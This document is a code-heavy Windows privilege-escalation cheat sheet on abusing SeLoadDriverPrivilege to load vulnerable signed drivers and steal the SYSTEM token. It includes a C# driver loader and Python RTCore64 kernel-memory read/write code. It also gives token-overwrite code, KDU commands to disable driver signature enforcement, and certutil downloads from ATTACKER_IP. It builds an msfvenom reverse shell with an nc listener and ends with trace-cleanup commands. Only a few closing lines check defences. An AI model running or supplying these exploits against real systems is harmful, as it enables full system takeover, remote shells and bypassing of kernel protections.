SeLoadDriverPrivilege

whoami /priv

whoami /priv | findstr /i "SeLoadDriverPrivilege"

SeLoadDriverPrivilege         Load and unload device drivers  Enabled

net localgroup "Print Operators"

whoami /groups | findstr /i "Print"

NtLoadDriver(L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DriverName")

1. SeLoadDriverPrivilege is present in token
2. Place vulnerable signed driver (.sys) on disk
3. Create registry key with ImagePath pointing to the driver
4. Call NtLoadDriver with the registry path
5. Driver loads into kernel — ring 0 code execution
6. Exploit the driver's vulnerability for kernel read/write
7. Locate SYSTEM process token in kernel memory
8. Copy SYSTEM token to current process
9. Current process is now NT AUTHORITY\SYSTEM

reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v Start /t REG_DWORD /d 3 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\VulnDriver.sys" /f

reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v Start /t REG_DWORD /d 3 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\VulnDriver.sys" /f

$code = @'
using System;
using System.Runtime.InteropServices;

public class DriverLoader
{
    [DllImport("ntdll.dll")]
    public static extern uint NtLoadDriver(ref UNICODE_STRING DriverServiceName);

    [DllImport("ntdll.dll")]
    public static extern void RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAll, ref TOKEN_PRIVILEGES NewState, uint BufferLen, IntPtr Prev, IntPtr RetLen);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool LookupPrivilegeValue(string Host, string Name, ref LUID Luid);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool OpenProcessToken(IntPtr ProcessHandle, uint Access, out IntPtr TokenHandle);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();

    [StructLayout(LayoutKind.Sequential)]
    public struct UNICODE_STRING
    {
        public ushort Length;
        public ushort MaximumLength;
        public IntPtr Buffer;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct LUID { public uint LowPart; public int HighPart; }

    [StructLayout(LayoutKind.Sequential)]
    struct LUID_AND_ATTRIBUTES { public LUID Luid; public uint Attributes; }

    [StructLayout(LayoutKind.Sequential)]
    struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID_AND_ATTRIBUTES Privileges; }

    public static void EnablePrivilege(string privilege)
    {
        IntPtr hToken;
        OpenProcessToken(GetCurrentProcess(), 0x0028, out hToken);
        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
        tp.PrivilegeCount = 1;
        tp.Privileges.Attributes = 0x00000002;
        LookupPrivilegeValue(null, privilege, ref tp.Privileges.Luid);
        AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }

    public static uint LoadDriver(string registryPath)
    {
        EnablePrivilege("SeLoadDriverPrivilege");
        UNICODE_STRING us = new UNICODE_STRING();
        RtlInitUnicodeString(ref us, registryPath);
        return NtLoadDriver(ref us);
    }
}
'@

Add-Type -TypeDefinition $code

# Load driver from HKLM service key
[DriverLoader]::LoadDriver("\Registry\Machine\System\CurrentControlSet\Services\VulnDriver")

# Or from HKCU (replace SID with your actual SID)
# Get your SID: (whoami /user /fo csv | ConvertFrom-Csv).'SID'
[DriverLoader]::LoadDriver("\Registry\User\S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX\System\CurrentControlSet\Services\VulnDriver")

driverquery /v | findstr /i "VulnDriver"

Get-WmiObject Win32_SystemDriver | Where-Object { $_.Name -eq "VulnDriver" }

# Clone and compile with Visual Studio
git clone https://github.com/TarlogicSecurity/EoPLoadDriver.git
# Open .sln in Visual Studio, build Release x64

EoPLoadDriver.exe System\CurrentControlSet\Services\VulnDriver C:\Windows\Temp\VulnDriver.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege enabled
[+] Loading Driver: \Registry\User\S-1-5-21-...\System\CurrentControlSet\Services\VulnDriver
NTSTATUS: 00000000, WinError: 0

certutil -urlcache -split -f http://ATTACKER_IP/Capcom.sys C:\Windows\Temp\Capcom.sys

73c98438ac64a68e800b9f9571b4fec82571af010571b5f00af63fba6a93f900

EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\Temp\Capcom.sys

reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v Type /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v Start /t REG_DWORD /d 3 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\Capcom.sys" /f

git clone https://github.com/tandasat/ExploitCapcom.git
# Compile with Visual Studio — Release x64

ExploitCapcom.exe

ExploitCapcom.exe YOURCOMMAND

whoami

nt authority\system

# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

# Transfer to target
certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe

# Modify ExploitCapcom to launch shell.exe instead of cmd.exe
# In ExploitCapcom.cpp, change:
#   TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\cmd.exe");
# To:
#   TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\shell.exe");

nc -lvnp 4444

1. Find a signed driver with a known vulnerability (kernel read/write)
2. Transfer the .sys file to the target
3. Load it using SeLoadDriverPrivilege (EoPLoadDriver or manual method)
4. Use the driver's vulnerable IOCTL for kernel memory operations
5. Locate the current process token in kernel memory
6. Copy SYSTEM token over current process token
7. Current process is now SYSTEM

# Browse the catalog
https://www.loldrivers.io/

# API — get all vulnerable drivers
curl https://www.loldrivers.io/api/drivers.json

Device: \\.\RTCore64
Read physical memory:  IOCTL 0x80002048
Write physical memory: IOCTL 0x8000204C

EoPLoadDriver.exe System\CurrentControlSet\Services\RTCore64 C:\Windows\Temp\RTCore64.sys

1. Open handle to \\.\RTCore64
2. Use read IOCTL (0x80002048) to walk kernel structures
3. Find EPROCESS for current process and SYSTEM process (PID 4)
4. Read SYSTEM token from EPROCESS->Token
5. Use write IOCTL (0x8000204C) to overwrite current process token with SYSTEM token
6. Current process is now SYSTEM

import ctypes
import struct
from ctypes import wintypes

kernel32 = ctypes.WinDLL('kernel32')
ntdll = ctypes.WinDLL('ntdll')

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
IOCTL_READ  = 0x80002048
IOCTL_WRITE = 0x8000204C

hDevice = kernel32.CreateFileW(
    "\\\\.\\RTCore64",
    GENERIC_READ | GENERIC_WRITE,
    0, None, OPEN_EXISTING, 0, None
)

def read_physical(address, size):
    """Read physical memory via RTCore64 IOCTL"""
    buf_in = struct.pack('<QII', address, 0, size)
    buf_out = ctypes.create_string_buffer(size + 16)
    bytes_returned = wintypes.DWORD()
    kernel32.DeviceIoControl(
        hDevice, IOCTL_READ,
        buf_in, len(buf_in),
        buf_out, len(buf_out),
        ctypes.byref(bytes_returned), None
    )
    return buf_out.raw[:size]

def write_physical(address, data):
    """Write physical memory via RTCore64 IOCTL"""
    buf_in = struct.pack('<QII', address, 0, len(data)) + data
    buf_out = ctypes.create_string_buffer(16)
    bytes_returned = wintypes.DWORD()
    kernel32.DeviceIoControl(
        hDevice, IOCTL_WRITE,
        buf_in, len(buf_in),
        buf_out, len(buf_out),
        ctypes.byref(bytes_returned), None
    )

EoPLoadDriver.exe System\CurrentControlSet\Services\dbutil C:\Windows\Temp\dbutil_2_3.sys

EoPLoadDriver.exe System\CurrentControlSet\Services\Nal C:\Windows\Temp\iqvw64e.sys

1. Selects a vulnerable driver from its provider list
2. Drops the embedded .sys to disk
3. Creates registry key and calls NtLoadDriver
4. Opens the driver device and uses its vulnerable IOCTLs
5. Provides kernel read/write/execute primitives to the caller
6. Supports: DSE bypass, PPL bypass, arbitrary driver loading, kernel callbacks removal

kdu.exe -list

[0]  Intel Network Adapter Diagnostic Driver (iqvw64e.sys)
[1]  RTCore64 (RTCore64.sys)
[2]  Gdrv (gdrv.sys)
[3]  ATSZIO64 (ATSZIO64.sys)
[4]  MICSYS (MsIo64.sys)
[5]  GLCKIo2 (GLCKIo2.sys)
...

kdu.exe -prv 1 -map C:\Windows\Temp\custom_driver.sys

kdu.exe -prv 0 -pse <PID>

kdu.exe -prv 1 -dse 0

kdu.exe -prv 1 -dse 6

_EPROCESS (your process)
  ├── UniqueProcessId   → your PID
  ├── Token             → 0xFFFF...  (your limited token)
  └── ActiveProcessLinks → linked list of all processes

_EPROCESS (PID 4 — System)
  ├── UniqueProcessId   → 4
  ├── Token             → 0xFFFF...  (SYSTEM token)
  └── ActiveProcessLinks → linked list of all processes

Attack: overwrite your Token pointer with System's Token pointer

1. Read the kernel base address (NtQuerySystemInformation or leaked via driver)
2. Find PsInitialSystemProcess — pointer to the SYSTEM _EPROCESS
3. Walk the ActiveProcessLinks doubly-linked list
4. For each EPROCESS, read UniqueProcessId
5. When UniqueProcessId == 4: save Token value (SYSTEM token)
6. When UniqueProcessId == our PID: save EPROCESS address
7. Write SYSTEM token value into our process's Token field
8. Done — our process is now SYSTEM

// After obtaining kernel read/write via vulnerable driver

// 1. Get SYSTEM EPROCESS
ULONG64 systemEproc = ReadKernelMemory(PsInitialSystemProcess);

// 2. Read SYSTEM token
ULONG64 systemToken = ReadKernelMemory(systemEproc + TOKEN_OFFSET);

// 3. Walk process list to find our process
ULONG64 currentEproc = systemEproc;
do {
    ULONG64 pid = ReadKernelMemory(currentEproc + PID_OFFSET);
    if (pid == GetCurrentProcessId()) {
        // 4. Overwrite our token with SYSTEM token
        WriteKernelMemory(currentEproc + TOKEN_OFFSET, systemToken);
        break;
    }
    // Walk linked list (subtract offset to get back to EPROCESS base)
    ULONG64 flink = ReadKernelMemory(currentEproc + ACTIVEPROCESSLINKS_OFFSET);
    currentEproc = flink - ACTIVEPROCESSLINKS_OFFSET;
} while (currentEproc != systemEproc);

// 5. Current process is now SYSTEM
system("cmd.exe");

PPLKiller.exe /installDriver
PPLKiller.exe /stealToken <TARGET_PID>

whoami /priv | findstr /i "SeLoadDriverPrivilege"

python3 -m http.server 80

certutil -urlcache -split -f http://ATTACKER_IP/EoPLoadDriver.exe C:\Windows\Temp\EoPLoadDriver.exe
certutil -urlcache -split -f http://ATTACKER_IP/ExploitCapcom.exe C:\Windows\Temp\ExploitCapcom.exe
certutil -urlcache -split -f http://ATTACKER_IP/Capcom.sys C:\Windows\Temp\Capcom.sys

C:\Windows\Temp\EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\Temp\Capcom.sys

NTSTATUS: 00000000, WinError: 0

C:\Windows\Temp\ExploitCapcom.exe

whoami

nt authority\system

# Attacker: generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o rev.exe

# Attacker: start listener
nc -lvnp 4444

:: Target: transfer payload
certutil -urlcache -split -f http://ATTACKER_IP/rev.exe C:\Windows\Temp\rev.exe

:: Target: modify ExploitCapcom to launch rev.exe
:: (recompile with CommandLine = "C:\\Windows\\Temp\\rev.exe")
:: Or use the Capcom exploit that accepts command-line arguments
C:\Windows\Temp\ExploitCapcom.exe C:\Windows\Temp\rev.exe

:: Unload the driver
reg delete "HKCU\System\CurrentControlSet\Services\Capcom" /f
del C:\Windows\Temp\Capcom.sys
del C:\Windows\Temp\EoPLoadDriver.exe
del C:\Windows\Temp\ExploitCapcom.exe

# Check HVCI status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning

:: Registry check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled

# Check if Microsoft Vulnerable Driver Blocklist is enabled
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName MSFT_MpComputerStatus | Select-Object IsVulnerableDriverBlocklistEnabled